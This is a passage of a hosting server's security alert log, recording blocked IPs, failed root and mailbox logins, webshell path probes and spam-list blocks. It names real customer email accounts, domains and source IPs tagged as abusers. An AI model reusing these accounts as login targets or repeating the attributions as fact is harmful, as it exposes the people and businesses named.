domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:17-30.104.233.20.145||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.115
country_id: 3175395
description:
Jan 15 17:30:44 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.115 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.137.127.123
country_id: 690791
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/p-5.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.248.146.156
country_id: 3175395
description:
Jan 15 17:32:17 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.248.146.156 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.191
country_id: 3469034
description:
Jan 15 17:32:47 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.191 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/component/tag/images/portfolio-detail.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.38.185
country_id: 953987
description:
Jan 15 17:32:14 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.38.185 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 118.101.40.157
country_id: 1733045
description:
[2026-01-15 17:34:02 +0800] info [webmaild] 118.101.40.157 - eejb@evergrown.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.153.193.211
country_id: 3895114
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/translation/Formatter/IntlFormatterInterface.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-15 17:36:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:64493: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-15 17:36:10 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:64493: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.188.90.234
country_id: 2017370
description:
2026-01-15 17:38:45 H=([64.188.90.234]) [64.188.90.234]:62740 F=<bounce@perfectpallette.com> rejected RCPT <admin8@tst-ma.com>: No Such User Here


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.72.207.26
country_id: 192950
description:
2026-01-15 17:39:57 dovecot_login authenticator failed for H=(213.5.130.153) [41.72.207.26]:39686: 535 Incorrect authentication data (set_id=amira.zahari@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.183
country_id: 1880251
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.mckd.com.my/en/css/common.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.136
country_id: 1880251
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.mckd.com.my/en/js/common.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.163
country_id: 1880251
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.mckd.com.my/en/css/main.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.169
country_id: 1880251
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.mckd.com.my/en/js/jquery.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.165
country_id: 1880251
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.mckd.com.my/en/js/header.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.63.66.52
country_id: 3469034
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.mckd.com.my/en/productinfo/taikei/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.167.193.127
country_id: 1814991
description:
Jan 15 17:43:01 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.167.193.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.238.166.181
country_id: 798544
description:
Jan 15 17:43:10 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.238.166.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.52
country_id: 3469034
description:
Jan 15 17:43:24 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.52 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.5.210
country_id: 2300660
description:
Jan 15 17:43:29 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.5.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.240.209
country_id: 1269750
description:
Jan 15 17:43:41 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.240.209 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.145
country_id: 3175395
description:
Jan 15 17:43:43 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.145 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 172.226.42.167
country_id: 1733045
description:
[2026-01-15 17:43:52 +0800] info [webmaild] 172.226.42.167 - payment@tujusetia.my "POST /cpsess7899608965/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [172.225.181.92] != Current IP Address [172.226.42.167]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.22.91.42
country_id: 3469034
description:
Jan 15 17:44:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.22.91.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.254.73.188
country_id: 6252001
description:
Jan 15 17:44:11 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.254.73.188 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 202.142.172.10
country_id: 1168579
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:17-45.202.142.172.10||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 116.0.51.251
country_id: 1168579
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:17-45.116.0.51.251||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 103.177.240.146
country_id: 1168579
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:17-45.103.177.240.146||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.243.178.112
country_id: 2017370
description:
[2026-01-15 17:46:33 +0800] info [whostmgrd] 46.243.178.112 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.51.61.202
country_id: 2464461
description:
[2026-01-15 17:47:00 +0800] info [whostmgrd] 165.51.61.202 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/about-sinaran-utama-teknologi/images/about.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.241.208.226
country_id: 798544
description:
Jan 15 17:50:40 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.241.208.226 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.241.208.226
country_id: 798544
description:
2026-01-15 17:50:42 dovecot_plain authenticator failed for H=([185.241.208.226]) [185.241.208.226]:63402: 535 Incorrect authentication data (set_id=rubinee.arulanantham@cofreth.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.88.39.148
country_id: 1835841
description:
Jan 15 17:51:46 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.88.39.148 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-15 17:51:46 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess9134142965/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.88.39.148
country_id: 1835841
description:
2026-01-15 17:51:48 dovecot_login authenticator failed for H=([127.0.0.1]) [220.88.39.148]:59646: 535 Incorrect authentication data (set_id=postmaster@mckd.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.190.205.221
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=27 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.37.221.23
country_id: 1831722
description:
2026-01-15 17:54:53 dovecot_login authenticator failed for H=(213.5.130.160) [36.37.221.23]:34899: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.98.165.5
country_id: 1269750
description:
2026-01-15 17:54:58 dovecot_login authenticator failed for H=(213.5.130.107) [59.98.165.5]:59281: 535 Incorrect authentication data (set_id=mdnaser@grandteknik.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 17:56:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:56964: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.179.184.213
country_id: 1814991
description:
Jan 15 17:56:30 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.179.184.213 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.179.184.213
country_id: 1814991
description:
2026-01-15 17:56:32 dovecot_login authenticator failed for H=(pzdcq) [111.179.184.213]:57173: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 17:56:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:56965: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 175.139.168.128
country_id: 1733045
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<ul>\r\n<li class=\"msolistparagraphcxspfirst\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp;</span></span></span>updated daily collection report &amp; daily cash flow</li>\r\n<li class=\"msolistparagraphcxspmiddle\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp;</span></span></span>posted assembly orders</li>\r\n<li class=\"msolistparagraphcxspmiddle\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp; </span></span></span>create new customer card &ldquo;brian dean horse racing sdn bhd&rdquo; &amp; update new latest the address &ldquo;jungle pets shop 2&rdquo; for albert</li>\r\n<li class=\"msolistparagraphcxspmiddle\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp; </span></span></span>do posting sales invoices &amp; filing sales invoice</li>\r\n<li class=\"msolistparagraphcxsplast\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp;</span></span></span>asisst ms.kho to find documents for auditor as requested</li>\r\n</ul>||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.134.8
country_id: 3469034
description:
Jan 15 18:01:51 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.134.8 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.250.201.45
country_id: 3469034
description:
Jan 15 18:02:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.250.201.45 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-15 18:04:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:64650: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-15 18:04:10 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:64651: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.62.177.90
country_id: 3469034
description:
Jan 15 18:05:35 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.62.177.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.77.50.147
country_id: 3175395
description:
Jan 15 18:06:52 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.77.50.147 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.188.244.213
country_id: 2017370
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:18-06.91.188.244.213||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.34.99
country_id: 1269750
description:
Jan 15 18:06:34 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.34.99 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.171.97
country_id: 298795
description:
Jan 15 18:07:53 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.171.97 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.177.166.65
country_id: 6252001
description:
[2026-01-15 18:08:14 +0800] info [whostmgrd] 75.177.166.65 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 88.84.209.146
country_id: 2017370
description:
Jan 15 18:11:33 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 88.84.209.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.84.209.146
country_id: 2017370
description:
2026-01-15 18:11:35 dovecot_login authenticator failed for H=([88.84.209.146]) [88.84.209.146]:56080: 535 Incorrect authentication data (set_id=salesmp@aoto.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.235.154.114
country_id: 1814991
description:
Jan 15 18:11:38 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.235.154.114 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.235.154.114
country_id: 1814991
description:
2026-01-15 18:11:40 dovecot_login authenticator failed for H=([221.235.154.114]) [221.235.154.114]:39454: 535 Incorrect authentication data (set_id=slgoh@kendek.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.224.152.198
country_id: 3658394
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-48.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 107.172.221.171
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:18-13.107.172.221.171||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.32.61.6
country_id: 290557
description:
Jan 15 18:14:46 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.32.61.6 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.134.149.232
country_id: 1733045
description:
[2026-01-15 18:14:46 +0800] info [webmaild] 115.134.149.232 - ken@smartcable.com.my "POST /cpsess9685134176/3rdparty/roundcube/?_task=mail&_unlock=loading1768472086864&_framed=1 HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.32.61.6
country_id: 290557
description:
2026-01-15 18:14:48 dovecot_plain authenticator failed for H=(unnes) [5.32.61.6]:43112: 535 Incorrect authentication data (set_id=webmaster@kimmark.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.52.167.210
country_id: 3508796
description:
[2026-01-15 18:15:19 +0800] info [whostmgrd] 179.52.167.210 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.149
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/revolution/css/layers.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.150
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/revolution/css/settings.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 84.115.226.151
country_id: 2782113
domain: ms-chemicals.net
description:
IM360 WAF: Track spam in PrestaShop||RSV:7.63||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-json/contact-form-7/v1/contact-forms/6/feedback||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.191
country_id: 3469034
description:
Jan 15 18:17:01 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.191 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.142
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/themify-font/themify-icons.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.154
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/mdi-font/css/material-design-iconic-font.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.133
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/slick/slick.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.145
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/animate.css/animate.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77142097
name: IM360 WAF: Track spam via contactform for WordPress
abuser: 84.115.226.151
country_id: 2782113
domain: ms-chemicals.net
description:
IM360 WAF: Track spam via contactform for WordPress||RSV:7.63||T:APACHE||MVN:REQUEST_URI||MV:/wp-json/contact-form-7/v1/contact-forms/6/feedback||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.112.52.241
country_id: 1210997
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.137
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/css-hamburgers/hamburgers.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.134
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/css/poppins-font.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.141
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/revolution/css/navigation.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.151
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/fonts/poppins/poppins-v5-latin-700.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.156
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/fonts/poppins/poppins-v5-latin-regular.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.139
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/css/main.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.131
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/mdi-font/fonts/Material-Design-Iconic-Fontd1f1.woff2?v=2.2.0 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.129
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/themify-font/fonts/themify9f24.woff?-fvbane HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.191
country_id: 3469034
description:
Jan 15 18:17:16 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.191 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/keyword/images/article.php||SC:/home/indfinitydesign/public_html/keyword||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.181.28.90
country_id: 3469034
description:
Jan 15 18:18:09 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.181.28.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.149.93
country_id: 99237
description:
Jan 15 18:17:38 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.149.93 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.149.93
country_id: 99237
description:
2026-01-15 18:17:40 dovecot_plain authenticator failed for H=(diess) [65.20.149.93]:54104: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.96.199.219
country_id: 3865483
description:
Jan 15 18:18:19 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.96.199.219 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.97.36
country_id: 3469034
description:
